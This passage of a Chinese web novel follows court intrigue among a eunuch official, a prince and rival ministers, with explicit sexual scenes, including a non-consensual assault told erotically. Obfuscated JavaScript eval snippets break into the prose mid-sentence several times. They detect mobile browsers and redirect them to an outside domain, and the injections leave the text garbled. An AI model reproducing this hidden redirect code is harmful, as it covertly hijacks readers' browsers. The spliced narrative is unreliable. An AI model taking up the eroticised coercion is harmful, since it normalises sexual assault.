“你既把它送给我,就让它认我。”容倾面无表情地伸出手臂,宽大的湖蓝道袍袖口滑落,露出一截瓷白到晃眼的手腕,“不然就带走,我不需要一只养不熟的畜牲。” 赵珝仿佛没听懂他话里有话,转过头对长乐道:“取只皮护臂过来。” 容倾的手腕纤细得惊人,手臂自然也没多少肉,连长乐一只手都能轻松握住。那护臂套上去,有些空落落的,绳子缠了好几圈,才不至于滑动。 “□□。”赵珝唤那只海东青,左手引向容倾的位置,“到姐姐那儿去。” 海东青歪着脑袋,金目盯了容倾片刻,两只覆着白羽的爪子死死抓着赵珝的手臂,纹丝不动,似乎很不情愿的模样。 “你带它走罢。”容倾毫不在意,语气平淡。他已过了非要和某个东西争得你死我活的年纪,若是在赵珝这个岁数,他死也要和这只海东青斗到底,看看谁先熬死谁。 以前总有人说他心气太高,他的身子压不住他的心,于是身子垮了,彻彻底底地垮了。他这幅身子……还能承载得住一只海东青么? 他疲惫不堪。 尤其是再见赵珝之后。 那只海东青忽而身形一动,雪白带青色斑点的羽翼扑棱棱展开,粗壮的爪子骤然张开,带着一股劲风,直奔容倾而来。 容倾下意识伸出手臂,学着赵珝那样,让海东青停在自己的右臂上。 这一类的鹰隼体形庞大,分量也不小,粗壮的爪子扣住容倾手臂的那一刻,震得他手臂一沉,险些脱力。 就在他手臂剧烈颤抖时,一只温热的手稳稳托住他的肘部。赵珝不知何时贴近了他的身后,保持着恰到好处的距离,语气听不出情绪:“它很亲近姐姐。” 是么? 容倾却被海东青的羽毛吸引。他能感受到这只巨鸟在他的手臂上吐息,羽毛洁白柔软……他忽而感觉自己还活着。 他用左手轻轻梳理海东青的背羽,顺滑柔软,而那猛禽竟很受用,只是歪着头,很认真地盯着他。他忍不住笑笑,问:“它认我当主人了么?” 赵珝俯下身,若有若无靠在容倾的背上,轻声道:“还差些火候呢。姐姐亲自喂它几次,若能乖乖吃了,再养上月余,驯个几下,它便认定姐姐了。” 说话间,手一寸一寸上移。赵珝悄悄握住了容倾的手腕,苍白到几乎透明,能瞧见底下的青筋,令人忧心是否稍稍用点力,便能将其折断。赵珝也曾是个苍白的少年人,战场上风吹日晒三年,肤色深了些许,身形高大挺拔,与纤弱的容倾对比鲜明。 他的目光落在容倾的肩头。湖蓝道袍宽松,不显身形,但在弯腰时,仍能瞧见流畅单薄的背脊,以及纤细的腰。一头青丝在脑后松松地绾着,有几络贴在玉白的脖颈上,随动作轻轻晃动。 容倾正专心引诱海东青啄食肉条,睫羽微垂,在眼下映着两弯浅浅的阴影,唇角带笑,并未发觉身旁青年的异常。 赵珝原打算教几个驯鹰的口令给容倾,谁料思绪一转,猛地想起辽东的那事。他登时阴沉下来,不由得心想:沈廷琛真的靠谱么? …… 正月十四,朝会。 沈廷琛面呈奏章,上报辽东军饷三年的亏空。 举朝震惊。 这位年轻、冷峻的朝廷新贵,以一种平淡无波的语气,从苏州府一起盗粮案说起,沿着大运河与漕运,谈论永定河与京师粮价,最后语气一冷,三问朝廷: 一问督 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320035|182812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粮官,永定河至山海关短短几百里路,为何军饷损失打半? 二问辽东军,为何瞒报此事,又是以何途径补上亏空的军饷? 三问内阁与司礼监,年年批红、岁岁审计,如此巨额的粮饷亏空,究竟是未曾察觉,还是……有意纵容?! 一笔笔流向,一个个名字,黑字白纸,清晰可见。众人只见龙椅上的皇帝面沉如水,却未当场发作——到底仗打赢了,也没必要发作了。 半晌,赵瞻淡淡开口道:“沈爱卿所奏之事,关系重大,着都察院、兵部、刑部三部会同严查,东厂协办。退朝。” 容倾并未回到乾清宫伺候。 赵瞻说了东厂协办,便是在敲打他。 漕运总兵是他一手举荐的人,而在两淮盐场里头叱咤风云的徽商,与他也关系匪浅。军饷从南到北,离不开漕运,若此事有人想趁机嫁祸他,简直易如反掌。 “备轿。”容倾快步走下丹陛,对一旁的长乐吩咐道,“叫宋时雨来,我有事要和他商量。” …… “你何时与沈廷琛搭上了线?” 暖轿内,容倾一脸沉郁,语气不善逼问宋时雨。 “娘嘞!”宋时雨作出一个夸张的神情,捂住自己的胸口,凄凄惨惨道,“我怎么可能和那种酸书生搭上线?督主大人叫我把事捅出来,我暗中接触了几位御史,还没个结果,谁料这沈廷琛杀了出来,这能怪谁?” 不是宋时雨? 那是谁? 莫非真是沈廷琛一个人沿着漕运,一点一点摸索出来的? 不可能。 容倾面若冰霜,双手握拳。 “督主大人在担心自己被牵连?”宋时雨会变脸,转眼又挂上一幅吊儿郎当的笑容,凑近容倾的耳边,轻声道,“对了,下官忘了问,督主大人喜欢那个画匣么?” “你非得这时犯病,是么?”容倾额角一抽一抽地疼,“不喜欢,我已经叫人包好,赶明儿给你送回去。” 宋时雨叹口气:“可惜!” “说正事。”容倾正色,“我清者自清,不怕沈廷琛查,问题是手下的那些人,有人确实不大干净——” “容公公。” 外头传来一个冷而清朗的声音。 “在下沈廷琛,有些事想与公公聊上一聊。” 沈廷琛? 容倾蹙起眉。 这人找他作甚? “容公公方便出来一叙么?不出来也无妨,在下说便是了……” 容倾当然不能出来,里头还有个不好控制的宋时雨。 这狗皮膏药似的男人,此刻正贴近了他的身子,手挑开他的衣襟,缓慢揉了起来。 “督主大人。”宋时雨在他耳边狎昵道,“您晓得么?朝廷中有个传言,说沈廷琛并非坐怀不乱,而是不举,故而娶不到妻子……下官倒是好奇,他瞧见您在榻上的模样,起不起得来呢?” 15.暖轿 宋时雨此人,虽说官袍加身,行事作风却颇具匪气。他是个天生的亡命徒,过的是刀尖舔血的日子,似乎不做些出格的事,他就活不成了。 此刻,他眼前的容倾衣襟已被揉开,绯红的蟒袍褪至肩下,凌乱堆叠着,露出一段深邃的锁骨,锁骨上缀着一颗鲜艳的朱砂痣。宋时雨牢牢抱住容倾的身子,轻轻咬住锁骨,而后一路向下,将脸埋在容倾的身前。 容倾不知用的什么香,厚重而不黏腻,夹着一点令人清醒的冰片气息。宋时雨紧紧贴着他柔软的上身,头一偏,叼住了一侧,用舌尖圈了起来。 “你……”容倾没想到这人跟疯了一样,全然不顾外头来势汹汹的沈廷琛。暖轿里热得惊人,而宋时雨更是身子滚烫,此刻紧紧抱着他,他额间不由得沁出细汗,心跳到了嗓子眼。 “容公公?” 外头的沈廷琛又唤了一声。这人的嗓音冷得要死,落到容倾的耳朵里,冰得人一激灵。 冰火两重,着实难熬。容倾咬住下唇,咽下喉间的一丝喘息,连怒斥的力气也无。他尽力平稳嗓音,回沈廷琛道:“沈大人问话,咱家哪敢不从?要说什么,便说罢。” 沈廷琛淡淡道:“容公公这些年纵横捭阖,运河上下都有公公的眼线,沈某着实佩服。就是不知公公对手下人的约束……是否到位了。” 果然是冲着他来的。 容倾轻轻吸一口气,双手紧紧抓着宋时雨的肩膀,身子不住地颤抖。这人上嘴又上手,烦得要死,容倾被他揉得喘不过气,两颊通红,眼含泪花,勉勉强强维持着端庄。 他欲不经意轻笑一声,尾音险些飞起来,急忙开口掩盖道:“咱家在京师,久不出门户,哪能晓得天下事?况且又何来的手下人……”两腿被人微微分开,宋时雨的手逐渐下滑,轻轻捏着他大腿的软肉。 “哦?是么?”沈廷琛讶异了一下,语气依然平淡,“沈某怎么记得漕运总兵梁子昂是公公举荐的?” 容倾想把宋时雨的手指给剁了。 那只手委实不安分,捏完腿不够,竟隔着绸布直接上手,轻拢慢捻,一片潮湿。容倾难耐极了,泪珠儿一颗一颗地往下掉,眼前阵阵发虚,脑中被搅得乱七八糟,却还维持着一丝清明。 这便是宋时雨可恶的地方了。他对容倾的身子太过熟悉,分寸火候恰到好处,不至于让容倾露馅,还能大肆调戏容倾一番,叫人浑身泛起情潮,又反抗不得。 容倾低喘两声,狠狠一掐宋时雨的胳膊,说出口的话依旧平静,只是带了一丝绵软的鼻音:“不止咱家举荐了梁子昂,胡阁老、吕阁老……也都上奏了……沈大人为何不去问问几位阁老?” 轿子外的人沉默了。 沈廷琛眯起眼,狐疑地看向暖轿,目光仿佛带刺。那轿子似在微微颤动,偶有几声衣物交错的窸窣声响。他声音愈发冷了:“容公公……可是身子不适?”他几乎可以肯定,轿中不止一人。 “多谢沈大人关怀……”容倾朱唇微微颤抖,双腿搭在宋时雨的肩上,“早春尚寒……咱家染了些风疾……咳……还请沈大人保重身子……” 宋时雨的舌头也得剁了! “有劳容公公关心。”沈廷琛不冷不热道,“梁子昂公公不熟悉,一个叫四喜的……公公您总认得罢?他可是公公手下的掌刑千户,过去三年,本该在辽东监军,却频频下到江南……这是何意啊?” 四喜?! 容倾浑身一震,几乎是不可思议地睁大了眼。 四喜……下江南? 连专心侍弄口舌的宋时雨也挑了挑眉,抬眸瞧了容倾一眼。 至今为止,四喜仍然被他关着禁闭,一句话也不肯吐。他原以为四喜有苦难言,可若四喜去了江南……是去调查亏空一事,还是替辽东军暗中收购粮草? 再不济……便是背叛了他容倾。 “况且……沈某还听闻,四喜公公这些日子不见了,说是冲撞了容公公,被关了起来。”沈廷琛带上了几分冷冷的笑意,似乎觉得容倾及其下属十分有趣一般,“容公公不会……早就知道了此事罢?” 还真是。 不过也不算早,辽东军回朝复命时,他才抓到一些蛛丝马迹。 对付沈廷琛这种人,没必要句句谎话,真真假假,对方在官场浸淫多年,自会分辨。 容倾却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325769|182812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不得先声回答。他用袖子死死捂住自己,将呜咽声、喘息声尽数埋没,大腿紧紧夹着宋时雨的头,好在没弄脏他这顶小轿。 “怎的?容公公这是无话可说了?” 沈廷琛仍在步步逼近。 他该如何作答? 只怕是一出口,就坏了事。 他咳了起来,装的,用以掩盖失态的声音,眼泪不停地流。宋时雨总算停下了自己的舌头,亲了亲泛红的大腿内侧,然后体贴地给他穿好衣裳。 “容公公,还好么?需要找大夫么?” 沈廷琛似乎上前了几步,语气里满是疑惑。 “不必……老毛病了。”容倾靠在宋时雨的怀里,衣襟又重新被合上了,唯有两颊薄红未消,胸口起伏不停,“不瞒沈大人,辽东军饷一事,咱家的确晓得,但不比沈大人一路追查到底,也不过是年前才得知……” “果真如此?”沈廷琛并不信任,“沈某以为容公公只手遮天,眼线遍布大江南北呢。” 容倾笑笑:“咱家不过一介凡人,如何手眼通天呢?倒是沈大人,独自一人竟能掀起惊天波涛,朝廷上下怕是有不少人要被淹死了。” “容公公这是身子又好了?”沈廷琛何其敏锐,立时察觉到容倾语气的转变。 “吃了药,很快就过来了。”容倾淡定道,穿着皂靴的脚却狠狠踢了宋时雨一脚。宋时雨被他踹了一脚,笑嘻嘻的,凑过来,不要脸地亲了亲他的嘴唇。 容倾把男人的脸推开,语含失望道:“至于四喜……咱家对他失望透顶,也是方才知晓他与军饷之事或有牵连,一怒之下才将其禁足反省,正要细查此事。” 说罢,他轻轻喘了口气,语气放缓,甚至带上了一丝无奈的坦诚: “沈大人今日既已问起,咱家也不敢隐瞒。此事干系重大,万岁爷又命东厂协查……不如请沈大人将从江南查得的线索,与咱家互通有无?也好早日查个水落石出,给万岁爷、给朝廷、给辽东将士一个交代。” 沈廷琛沉默。 不给,显得他心胸狭隘;给了,他又被容倾摸清了底细。 棋逢对手,沈廷琛忽而生出了几分兴味。 16.四喜 “容公公说笑了。” 沈廷琛沉默片刻,平静开口道: “沈某所得种种,皆已呈送御前、交付三法司。容公公既然奉旨协理此事,大可亲自前往调阅案卷,又何须与沈某‘互通’?” 轿中的容倾闻言,轻笑一声,凑在宋时雨耳畔,用气声抱怨道:“又来个难办的铁秤砣。” 宋时雨听了,险些笑出声。 铁面无私的沈大人并不知自己被人嫌弃了,仍板着他那张仿佛死了亲爹娘的俊脸,一板一眼道:“至于四喜公公那事……既然公公已将其禁足查办,那沈某便静候东厂的结果。只望出炉之时,公公莫要再以模糊不清的话为难沈某。” 说罢,他对着暖轿一拱手,微微抬高声调:“容公公既然身子不适,沈某也不便多加叨扰了,盼公公早日康复,沈某告辞!” 沈廷琛扫过一眼不再颤动的暖轿,嘴角浅浅上扬,露出一个冷冰冰的笑,随后干脆利落一转身,拂袖而去。 “督主大人,您的大麻烦来咯!” 确认沈廷琛走远后,宋时雨抱着容倾,一脸的幸灾乐祸。 容倾推不开他,只得任凭他抱着,轻蹙眉尖,思量道:“这沈廷琛着实麻烦……他想作甚?拼一把政绩?也真是有野心,不怕引火烧身。” “他当然不怕。”宋时雨把头靠在容倾的颈窝,微微眯起眼睛,“他双亲俱已不在,五服以内亲朋稀少,剩下一个亲弟弟,老早就分了家……他无所顾忌,哪怕诛了九族也没什么负罪感。” 原来还真是个孤臣。 “去查一查他。”容倾垂下眼睫,“在苏州当官的事,参与科举之前的事……都查上一查。” “要杀了他么?”宋时雨说道,语气轻浮,“对付这种满嘴大话的酸儒,最稳妥的,便是叫他再也说不出话来。” 容倾道:“没必要,太掉价了。” 实在要杀,也是罗织一个罪名,正大光明地杀。私底下偷偷摸摸地抹人脖子,不是个常年混迹官场的人该有的手段。 “若你想杀他,同我说一声便是。” 宋时雨看着眼前人的眸子,漆黑的一双眼,透不进光,却吸引着人看下去、沉下去。 他想,自己从未如此对待过一个人。 大抵是……惺惺相惜罢。他与容倾,皆是踩着刀尖行走的赌徒,不达目的,誓不罢休。容倾内敛冷静,心思多得数不过来;而他则性子外放,一身匪气,明明是杀手出身,却跟个霸王似的,招摇过市。 一静一动,也算相配。 宋时雨不求其他,反正他指不定哪天玩脱了,嘎嘣一下,便死了个透,至于容倾,想都不用想,必然迅速同他割席,一贯的冷心冷情,也不晓得会不会为他流一滴泪。 “……我待会回东厂,审问四喜……你呢?”容倾回避了宋时雨的话。 这些年,他让宋时雨处理了很多脏活,但若要嫁祸杀人,都是亲力亲为,当着朝廷上下的面,从不托付给他人暗中行事。 宋时雨这把刀,在他手里,从未开过刃。 他也不需要宋时雨替他做这些事。 他的心只有一颗,怎会轻易交给一个危险的、随时可能背叛他的人? “行。我么,自然是去替督主大人办事咯!”宋时雨并不计较,只是笑着凑上前,又亲了亲容倾的唇角,一掀轿帘,眨眼间,便没了人影。 容倾头疼地揉了揉额角。 …… 四喜在诏狱待了将近半个月。 他气色不错,吃饱穿暖,每日就对着墙壁,也不怎么说话,除非容倾或长乐来看他。 “辽东的事,今日早朝被一个叫沈廷琛的御史,捅了出来。” 容倾的声音平稳,带着微微的、甜腻的哑。 “四喜,如今你也没有藏着掖着的必要了。说罢,辽东那事,你究竟插手了多少?还有,你玩忽职守,跑去江南作甚?” 四喜身子一震。 他缓缓转过身,郑重且缓慢地磕了一个头,声音嘶哑道:“奴婢有罪。” “行了。”容倾坐在圈椅上,两腿交叉,姿态闲适,“有话便说,作什么虚礼?” 四喜跪在地上,黑沉的眼睛眨也不眨,那目光复杂而炽热,直直看着容倾。他就这般望着,一言不发。 诏狱里头昏暗潮湿,血腥味浓重。在一片污浊之中,唯有容倾一身红衣,那红仿佛是血染就的,一团诡艳的火。而容倾的身后,站着一排高大、沉默的东厂番子。 不愧是亲兄弟…… 容倾想,四喜这眼神,同长乐也无甚差别。 终究是念着旧情,他再开口时,声音软了一些:“沈廷琛同我说的,他在江南曾见过你几次……你究竟干什么去了?” 四喜低声道:“奴婢……奉五殿下的命,前去江南采购粮食。军饷亏空严重,又是紧要关头,不敢惊动朝廷,奴婢想起江南还有些人脉……” 容倾沉默。 半响后,他无奈道:“动用了哪些人脉?徽商那头的?为何不告知我?” 四喜道:“不敢瞒督主,只是军情告急,若再不凑齐粮草,将士们怕是要饿肚子了,只得出此下策。至于经手的商人……奴婢不敢惊动那几位大人,便另寻了人,拼拼凑凑,才勉强补齐了亏空。” 容倾听后,一言不发,缓缓从圈椅上起身,面若冰霜,踱步至四喜面前,冷冷呵斥道:“胆大包天!” “奴婢不敢!” “你不敢?”容倾冷哼一声,“那我问你,你寻的何人脉?哪家的商人?叫什么名字?背后东家又是谁?” “采办的银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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容倾面无表情起身,一字一句道:“好,相当之好。你也好,赵珝也好,都学会体恤我了,怎么,这是在替我分忧?” 他转过身,对身后的番子淡淡道:“看好他,没有咱家的手令,一概不许外人见他。” “遵命!” 容倾抬靴向外走去,走至一半,他又问:“对了,赵珝……五殿下如今在何处?都察院应当在问他话?” …… 赵珝确实在被问话。 左手一个胡长庸,右手一个吕衡,皆是内阁大学士。 他看了看两位阁老,心情不佳,脸上却温和笑笑,开了个不痛不痒的玩笑:“我还以为是东厂来提讯呢!不曾想是两位阁老。” 怎么不是容倾? 他好生失望。 17.夺妻 皇子犯了事,三法司管不着,只得由皇帝亲自管。 可惜赵瞻并不想见赵珝,干脆让两位阁老前来提讯军饷一事,也不算落了父子俩彼此的面子。不过按理说,应该遣容倾来的。容倾抚养赵珝长大,虽无血缘,却有人情,又因是皇帝家奴,处理皇帝的家事,算不得逾矩。 至于《大燕律》这种东西,只不过是用来束缚平头百姓罢了。 思及此,赵珝再瞧眼前的两位阁老,心里头竟有些啼笑皆非。他面上仍是一派疏朗,姿态随和地坐在圈椅上。 “殿下,臣等多有叨扰,还请见谅。辽东一事,事关重大,殿下又深陷其中,圣上忧心如焚,不得已遣首辅大人与老臣前来探问。”吕衡开口道。此人不比胡长庸那般严肃,生得端正亲和,场面话也说得漂亮,在官场上广结善缘。 赵珝笑道:“吕阁老言重了,二位阁老为国事操劳,我心中敬重,何来叨扰一说?”这番话说的,好似他真的是个温润知礼的晚辈,恭谨听从阁老们的教诲。 他观察着两位阁老的神态,不见有异,便话锋一转,语气轻松,调侃道:“说来也是,我方才听人通传,还以为是东厂来人了,心里头紧张极了,都不知该如何面对厂臣。没想到是二位阁老亲临,倒是让我白紧张一场。” 值房里安静了一瞬。 胡长庸不语,连眼皮也未抬一下,古井无波地吃了一口茶,翻阅起手边的档册。 吕衡素来是个好相与的,闻言摇了摇头,无奈道:“殿下真是……容厂臣公务繁忙,圣上特遣老臣与首辅大人代劳,也是一样的。” 一样么? 不一样的。 赵珝脸上挂着笑,他的目光扫过吕衡,看得出这位阁老年轻时大概也是一位俊公子,至于一旁的胡长庸……癞瓜脸,伤眼睛,不提也罢。 “二位阁老,要问什么,便问罢。我必知无不言,言无不尽。”赵珝腹诽完毕,立时端正起来,笑得亲和。 吕衡正欲开口询问,忽而门口传来一阵急促的脚步声,一个小内侍急匆匆道:“五殿下、二位阁老,督主来了!” 容倾? 胡长庸抬起眼,与吕衡对视片刻。两人皆是一幅不解的样子。 而赵珝则先是一愣,耳畔“嗡”的一声,心里头的空落落如潮水退去,转为某种恶劣的喜悦,在他五脏六腑游走。 他要证明给容倾看。 门洞大开,一身猩红的容倾立在门口,面色不善。他并非那种令人眼前一亮的美人,只因生得太过浓郁,从出现的那刻起,便是人眼中唯一、仅有的存在,一种近乎惊悚的美。 尤其是愠怒之时。 哪怕面无表情,也能从下压的唇角、沉郁的眉眼中,瞧出令人胆颤心惊的寒意。 “厂臣这是……”吕衡率先起身,右手微抬,在身前比划一下,满脸的疑惑。 容倾见了他,旋即收起脸上的寒意,浮出他时常挂脸上的温柔的笑,柔声道:“咱家听说要问五殿下的话,想起一些紧要的事,一时心急,也想问一问殿下,便径直冲来了此地。胡阁老、吕阁老,打扰了。” 说这话时,他连一眼也没看赵珝。 赵珝却在看容倾。 说起来,他们前几日才见了一面,因为那头海东青。赵珝十分得意,他拿准了容倾的心软,一只鸟,换来一次见面,或许是很多次见面,相当值的买卖。 大概容倾以为他经过偏殿的事,他会知难而退,至少会收敛一些。他当然收敛了,但反而愈发想要……连续这么多年,梦里都是容倾的脸,染着红晕、春情澎湃的脸,寻常人的廉耻心,他早就忘得差不多了。 那日他确实很愤怒,恨不得带容倾远走高飞。可容倾依旧是块捂不化的冰,冰得他心里难受,越是难受,越是痛恨给容倾戴上玉链的人不是自己。 臣夺君妻、子夺父妻。 赵珝难以抑制地兴奋起来,紧紧攥住拳头,手背上青筋暴起。他几乎要被这大逆不道的念头激得大笑出声,笑尽平生贪嗔痴爱。可目光一转,直直对上容倾淡漠的眸子,大笑到了嘴边,化作一个温顺的微笑。 吃软不吃硬嘛。 这一招,对容倾总是屡试不爽。 …… 容倾应付完二位阁老,一抬眸,便见赵珝端坐在一侧,一脸的人畜无害,与他对视时,还拘谨地笑了笑。 他嘴角微抽,旋即移开眼,对阁老们拱手道:“二位阁老日理万机,为这等事劳动尊驾,是咱家对不住,万岁爷心里也过意不去。方才咱家从御前过来,万岁爷特意吩咐了,说五殿下年少不经事,此番虽是一片赤心,终究是行事孟浪,坏了规矩。论国法,自有阁老与三法司决断;可论家法……” 他叹口气,一脸无奈:“……终究是天家骨肉,里头有些话,涉及宫里宫外的体面,恐怕得关起门各论各的。免得伤了天和,也寒了将士们的心。” 吕衡当即一幅了然的模样,而胡长庸仍是八风不动。 “……咱家询问殿下所得的案卷文书,明日定会遣人送至内阁与都察院,一字不差,句句如实。此番劳动二位阁老白跑一趟,实在对不住,还望二位阁老体谅。”容倾说到此处,浅浅一作揖。 左右他话说全了,话里话外的意思,眼前二位老狐狸自有考量。 只见吕衡连忙拱手道:“原来是圣上的旨意!既有厂臣代劳,那是再好不过了!”他巴不得离开这是非之地! 胡长庸沉默片刻,淡淡看了容倾一眼,道:“既然是圣上的旨意,臣等遵命,有劳厂臣。”说罢,缓缓起身,率先朝外走去。 “咱家恭送二位阁老。”容倾侧身让路。 待二人脚步渐渐走远,值房的门被番子合上,容倾也彻底收敛起了笑意,转过身,冷冷盯着赵珝,一字一句道:“说罢,你究竟想做什么?” 早春午后,日光浅薄,值房里光线不算明亮,容倾隐在光影之间,几近透明。他看不清赵珝的神情,同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16335175|182812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样也瞧不见自己脸上的一丝失望。 自鸣钟一格一格地走,咔哒咔哒,不知过了多久,赵珝开口道:“我说动了四喜,遣他去江南两浙采办粮草,用以填补亏空。” 容倾“嗯”了一声。 “账目、凭证、包括具体某个粮食,押运粮草的路线,都在我这儿。”赵珝接着道,“我是大燕的皇子,不可能眼睁睁看着士兵挨饿、打仗惨败,只得出此下策。” 容倾问:“为何不让四喜告诉我?” “我怕打草惊蛇。”赵珝神情一瞬严肃,“我与吴总兵遣人追查失踪的粮草,每每查到一半,却又断了线索。永定河至山海关一带,必经过京师……我们怀疑,那些粮草很可能是被京师中人贪走的,但查来查去,愈发不对劲,幸而仗打赢了,不然恐怕我们支撑不了多久。” “我要听的不是这个。” 容倾闭目,疲倦再次涌上心头。 “我问你,你究竟想作甚?你什么都准备好了,账目、凭证……就等着捅出来的这一日,对不对?你有恃无恐,因为你不怕被查,哪怕这事干的确实不合规矩。” 赵珝笑笑:“姐姐,我只想你信任我。” 说罢,他起身,向容倾走来,脸上带着一种绝对的温驯和依赖。他像一个来讨赏、求夸的孩子,请求容倾的夸奖与安抚。 赵珝道:“我虽还未及冠,但也不是十岁出头、一无所知的孩童,我能为自己的决定担责。军粮一事,迟早有一日会被捅出来,到时候插手漕运、盐务的你,必然饱受争议与猜忌……月满则亏,水满则溢,登高必跌重,至于君心……更是难测。容倾,你觉得他会次次纵容你、信任你么?他这般对你,把你困在——” “住口!”容倾低斥一声,“那是你的君父,你怎能妄加揣测他?你手上的账目也好、凭证也罢,通通交予我,我来扫尾……赵珝,这种事一旦行差踏错,你我都得掉脑袋!” “掉脑袋?” 赵珝轻笑一声,他步步紧逼,几乎将容倾逼到了门上。 “能和你死在一块……说不定是件好事。” 容倾瞳孔骤缩! 只见赵珝欺身上前,紧紧抓住他的手臂,将他扯入怀中,不由分说,覆上了他的两片薄唇。他怎么可能是赵珝的对手?挣扎没几下,就被牢牢困在赵珝的臂弯之中,背靠着门,仰起脸,眼眶含泪。 他咬破了赵珝的嘴唇,血腥味在口中散来。赵珝趁虚而入,精准地撬开了他的贝齿,咬住他的舌,纠缠不休,亲得认真又强硬。 忽而容倾的身子僵硬一瞬。 两个人几乎是紧紧抱在了一起,赵珝身上的动静,他感受得一清二楚。他被赵珝咯到了,甚至感受到对方在缓缓地蹭他。 一股巨大的羞耻淹没了容倾。 他流着泪水,嘴巴被赵珝占用着,唇角流下一线银丝,双颊绯红,睫羽颤抖不已,眸子里朦胧一片,显然是被人蹂躏惨了。 怎么会变成这样呢? 18.发难 值房里头只有长案和圈椅,案上堆叠着档册、卷宗,砚台里的墨干了一半,羊毫笔随意搭在笔架上。 容倾个子不算高,身形纤细,几乎是被赵珝一只手抱了起来。如此单薄的一个人,赵珝将人推倒在长案上时,不由得放轻了些,生怕碰碎了。 太监们要面见皇帝,自然不得有任何异味。容倾口中时常含着丁香片,清浅的香气,混了点血腥气,柔软,甘甜,仿佛是什么特殊的、滑溜的糕点。 赵珝一面亲着,一面垂眸细细看过容倾的眉眼。因着抗拒,眉尖攒峰,双目紧闭,长而浓密的睫羽上挂着泪珠儿,两颊泛着红晕。他一只手握住容倾的手腕,将两只手高举过头顶,牢牢锁在桌案上,另一只手轻轻抚上容倾的脸颊,指腹抹去唇角的银丝,又或是在确认两人此刻正唇齿相依。 他忍得实在难受。人之本性,十多岁萌发了欲念,此后一发不可收拾,循着本能,用手,对着那些龌龊的画册,肖想着容倾的脸,包着容倾穿久了的里衣,聊以安慰。 不过再怎么说,也比不上活生生的容倾。 活色生香。 他并无太多羞耻心,天底下禽兽之事多了去了,多他一个赵珝、少他一个赵珝,睡了抚养自己长大的、父亲的情人,似乎也算不得什么大事。 于是他的手不断下移,直接扯开了容倾的衣带。 他感受到容倾颤抖了一下。 “唔……”容倾又开始剧烈挣扎起来,狠狠咬了一口赵珝的舌头。他睁开眼,泪水涟涟,本应是愤怒的眼神,可在这般情景下,落在赵珝眼中,反而是屈辱到近乎麻木的、令人怜爱的目光。 他总算亲够了,指腹压在容倾红肿的唇上,在容倾开口说话之前,用手指强行分开了唇,卡在贝齿之间。艳红的唇、嫩红的舌、洁白的齿……口涎镀上一层水光。 “咬得好痛。”赵珝舔了舔自己唇上的伤口,凑在容倾耳边,语气委屈死了。他轻轻蹭着容倾的颈窝,手上动作不停,已经解开容倾大半的衣裳,素白的躯体在他身下缓缓展露。 他轻声道:“不要拒绝我,容倾。” 说罢,移开了容倾口中的手指。 口涎溢出,容倾咳了几声,眼角沁出几滴泪水,他哑着嗓子道:“赵珝,你会后悔的……我不仅和你父皇睡过,我和很多——” “哦?姐姐想告诉我什么?”赵珝不以为意,“想告诉我……你是一个淫/妇吗?” 容倾一愣,似乎被戳中了伤心事一般,泪水汹涌而落。真是奇怪,一个出身勾栏胡同、自幼看着男女欢爱的孩子,竟对这种事有着强烈的抗拒。他生来背负罪孽,在情海中浮沉,却无一个人问过他,你愿不愿意。 没有。 赵珝也没有。 淫/妇……又不是他想的。 亵裤也被脱了下来,赵珝的掌心炽热,紧紧贴在他的大腿上。这是一具纤瘦的身子,算不上丰腴充盈,可该有的一个不少,柔软、深邃,还有陈年的伤痕…… 赵珝指尖滑过那些伤痕,有些已经很淡了,有些还很扎眼,美玉微瑕,却给了更加深厚的美。他想,容倾在宁夏和大同的时候,受过多少伤?那些箭矢刀枪、鸟铳大炮,容倾站在千军万马之前,又该是何等的意气风发? 真可惜,他晚生了十年,没赶上容倾最好的年岁,但也不迟,尚且不用担忧“我生君已老”。他会把容倾和自己牢牢绑在一起,从此以后荣辱与共,再也不会错过容倾的任何。 赵珝目光下移,唇角带笑。他一路欣赏下去,惋惜地看了几眼容倾身上最深刻的伤——净身留下的刀伤,忽而一愣。 “你……”他一时无言,竟不知作何反应,唯有身子越来越燥热,下意识扯过容倾的脚腕,将人往自己怀里带。 容倾被猛地一扯,闷哼一声,被赵珝捧住了脸。赵珝死死盯着他,懵了一般,颠三倒四地喃喃道:“竟然是这样么……原来是这样……” 